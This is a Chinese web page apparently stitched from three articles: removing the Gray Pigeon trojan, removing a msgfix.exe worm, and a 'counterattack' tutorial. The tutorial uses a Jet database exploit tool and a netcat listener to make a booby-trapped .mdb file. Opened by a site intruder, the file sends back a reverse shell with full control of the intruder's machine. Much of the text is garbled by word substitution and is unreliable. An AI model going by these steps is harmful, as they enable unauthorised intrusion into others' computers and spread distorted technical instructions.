状况形容：开机后病毒防火墙揭示“内存中发现木马病毒，已肃清”。既然已肃清，应该没疑问了，谁知下一次性启动电脑，病毒防火墙再次揭示“内存中发现木马病毒，已肃清”。我启动杀毒软件，把硬盘整个扫描一遍后，居然揭示没有发现病毒。电脑知识网介绍文章我的杀毒软件是经过在线实时更新的，目前是最新版本，看来杀毒软件对付不了它。经过检查病毒防火墙日志，显示为“Iexplore.exe>>c:\program files\Internet Exploer\Iexplore.exe->backdoor.Gpigeon.snl”。这不就是小名鼎鼎的灰鸽子木马病毒吗？灰鸽子以其操作的方便和性能的弱小，不易被查除且变种诸多等要素，而在网络上广为传达。于是请来了灰鸽子后门专杀工具，居然杀不掉，又请来木马清道夫，也不行。而后经常使用QQ木马专杀和反特务专家均不能处置疑问。如何肃清灰鸽子呢?搜查特定文件无眉目灰鸽子无论自定义的主机端文件名是什么，普通都会在操作系统的装置目录下生成一个以“_hook.dll”开头的文件。因为反常形式下灰鸽子会暗藏自身，因此检测灰鸽子的操作必定要在安保形式下启动。又因为灰鸽子的文件自身具备暗藏属性，因此要设置Windows显示一切文件，而后关上Windows的“搜查”，文件称号输入“_hook.dll”，搜查位置选用Windows的装置目录。wWw.ITComputER.CoM.cn经过搜查，却没有发现以“_hook.dll”开头的文件。于是把搜查范畴扩展到整个C盘，只搜查到一个mag_hook.dll的文件，门路为c:\windows\system32,而这个文件是系统所必须的。况且假设mag_hook.dll是病毒文件的话，还应该有相应的mag.exe、mag.dll文件和用于记载键盘操作的magKey.dll文件，但这些都没有。既然找不到病毒文件，也就没法在注册表中找到相应的服务项。在注册表HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Run项中，也没有多余的启动项。这下我傻眼了，难道遇到高人了？发现疑点顺藤摸瓜
如何对付入侵者
数据库是一个网站的外围，也是入侵者入侵网站时最想获取的物品。他们会经过“暴库”或许注入攻打找到数据库的门路，从而合法下载到数据库，并从中取得包括治理员账户和明码在内的关键消息。关于一名站长而言，数据库被合法下载是一件极为苦恼的事。有没有想过给那些合法下载数据库的入侵者一个经验呢？在本文中你将找到答案。www.sq120.com介绍文章还击原理微软在2004年时曾发布过一个Windows破绽，这个破绽的全称为“Microsoft Jet数据库引擎中的破绽或许准许代码口头”，受影响的系统简直蕴含微软的全系列操作系统版本。入侵者可以经过这个破绽结构恶意的数据库文件，当没有修补过破绽的用户关上这个恶意的数据库文件时,将会口头黑客事前设置的恣意代码。反上来思索，假设咱们将这个破绽应用起来，把结构好的恶意数据库文件设置为网站的数据库，故意泄露给黑客，这样当他们下载了数据库并关上时，反而成了咱们的肉鸡。借破绽工具设下圈套应用这个破绽咱们要借助该破绽的溢出程序jet.exe。运转下载jet.exe，解压到某个位置，例如“c:\”，而后点“开局→运转”，输入“cmd”运转“命令揭示符”。在“命令揭示符”中运转jet.exe。工具的应用方法有4种：0示意在本地测试破绽；1示意应用反向衔接应用破绽；2的性能相似“下载者”，被溢出的主机被动从指定的网址处下载可口头文件并运转，对穿透防火墙很有用；3示意从本公开载可口头文件并运转。这里咱们用第2种性能来启动测试。监听本地端口经常使用第2种方法，咱们要监听一个本地端口。当黑客的主机溢出后会将一个Shell发送到咱们监听的端口上。在“命令揭示符”中运转黑客的“瑞士军刀”nc，输入如下命令“nc -vv -l -p 777”，回车后会显示“listening on [any] 777 …”。这样就成功开局监听本机的777端口了。结构恶意数据库文件运转“命令揭示符”，输入命令“ipconfig”，检查本机IP，假定这里为60.176.*.*。在“命令揭示符”中运转jet.exe，输入命令“jet 2 60.176. *.* 777”，假设显示“Malformed db1.mdb file created. Now open with MSAccess.”，则示意命令口头成功。在同目录下会生成db1.mdb文件，这就是咱们所须要的“恶意”数据库文件了。揭示：很多经常使用ADSL上网的用户输入命令“ipconfig”后会出现两个IP地址，其中一个IP地址显示“192.168.0.1”。这个IP地址其实是内网的IP地址，属于一个保管的IP地址，外网访问不了这个地址，因此咱们在测试时须要经常使用相似上文中的IP地址。故意泄露数据库门路目前黑客对下载网站数据库的途径很多，但最罕用的手段就是经常使用网站程序的自动数据库门路，将门路加在网站域名后启动猜想。例如：生成一个mdb文件，而后放到该目录下。入侵者普通都会先经常使用自动门路来下载数据库，而一旦下载到数据库，就会被胜利冲昏头脑，很少会去判别数据库的真伪。而在他讥嘲该网站站长安保看法低下的同时，自己的电脑曾经成为了他人的肉鸡。等入侵者自掘坟墓接上去的上班就是期待晦气的入侵者来下载咱们的数据库并运转了。当“恶意”数据库被关上时，关于入侵者来说，就等于关上了一个潘多拉盒子。前往检查nc监听的窗口，可以发现监听中的窗口曾经有了反映，按一下“Enter”键，即可获取一个来自入侵者主机的Shell。因为对这个破绽溢出后，咱们自动获取的是最高权限，因此咱们可以在入侵者的主机上建设账户，修正、删除恣意文件。给入侵者一个沉痛的经验，让他偷鸡不成蚀把米。当然不能玩得过分，否则咱们就是入侵者了。
如何查杀未知病毒
这几天我上因特网速度突然很慢，同时在操作电脑的时刻也发现系统速度很慢，然而我装的杀毒软件关于此病毒没有任何报警。审核计算机发如今系统进程表中有三四个msgfix.exe文件，而有时刻甚至少达六七个msgfix.exe文件（见图），CPU占用率经常高达80%以上。www.sq120.com介绍文章用网络监测软件监测到该病毒计算机在攻打其余计算机“135、139、445、44444”等几个端口。我疑心是病毒所造成，启用杀毒软件查杀该病毒，结果显示“无病毒感化”，驳回到安保形式下经常使用手工肃清该病毒感化的文件msgfix.exe能肃清，然而重启计算机后不到3分钟，系统又出现感化病毒状况。网上求助得启示我上网去求助，发如今各大论坛上是“哭喊声一片”，四处都是求助如何查杀病毒感化文件Msgfix.exe帖子。有的说是波特变种F病毒感化惹起的，有的说是Worm_Timer.d或Worm_sdbot.c病毒感化惹起的等等。有一个帖子对我的启示很大：“病毒感化msgfix.exe文件，经过弱明码启动传达，修正注册表成功自启动，枚举本地IP地址，试图应用IPC弱口令将自己复制到别的主机上。”我细心剖析了一下，全校共有350多台计算机。依据我的考查，被感化的计算机只要30多台，进一步剖析发现Windows XP和Windows 98操作系统都没有被感化病毒，而Windows 2000操作系统中加用户明码的计算机也都没有被感化病毒，只要那些没有加用户明码的Windows2000操作系统的计算机被感化病毒。为什么Windows XP、Windows 98操作系统没有加用户明码都没有被感化病毒呢？我发现Windows XP操作系统自动是制止IPC$空衔接的，即：HKEY_LOCAL_MACHINE\Systen\CurrentControlSet \Control\Lsa下的“restrctanony mous”的键值是1，而Windows 98操作系统中基本就没有IPC$空衔接的名目。只管在Windows 2000操作系统注册表中 “restrctanony mous”的键值是0，即开启IPC$空衔接，然而假设用户设有明码，病毒则不可经过IPC$空衔接启动传达。找准关键，对症下药如今，我曾经知道病毒的传达原理，即应用IPC弱口令将自己复制到主机上，修正注册表成功自启动，枚举本地IP地址。上方就入手杀毒，首先断开网线，重启计算机，按F8键进入安保形式，在安保形式下，修正注册表HKEY_LOCAL_MACHINE\Systen\CurrentControlSet\Control\Lsa下restrctanony mous的键值，把0改为1。同时肃清注册表中三个msgfix.exe文件，即：HKEY_LOCAL_MACHINE\Software \Microsoft \Windows\CurrentVersion\Run；HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runservices和HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run下的msgfix.exe文件，而后肃清在操作系统盘下的一个msgfix.exe文件，即：C:\WINNT\system32\msgfix.exe 。而后用“开局→搜查→文件或文件夹搜查”看能否还有其余的msgfix.exe文件，如有则一概肃清，最后分开安保形式重启计算机。再次进入系统后，病毒没有再次出现，系统中也没有再发现msgfix.exe进程，杀毒成功。金小林战友为我提供了一个比拟不凡的自己入手查杀未知病毒的方法。这个方法关于很多关于注册表或许进程检查不相熟的好友来说，还是比拟艰巨的。然而很多好友可以学习金小林战友处置疑问的思绪。遇到未知病毒的袭击，在杀毒软件不可查杀的状况下，不慌张。首先去搜集病毒出现的症状和一些出现的不凡程序代码，而后经过网络去求助高手。兴许在很多时刻，咱们能够经过高手的揭示获取启示，让咱们找到查杀病毒的关键。
From:
本站内容来源于网络，如不慎侵犯了您的权益，请联系我们将迅速删除。
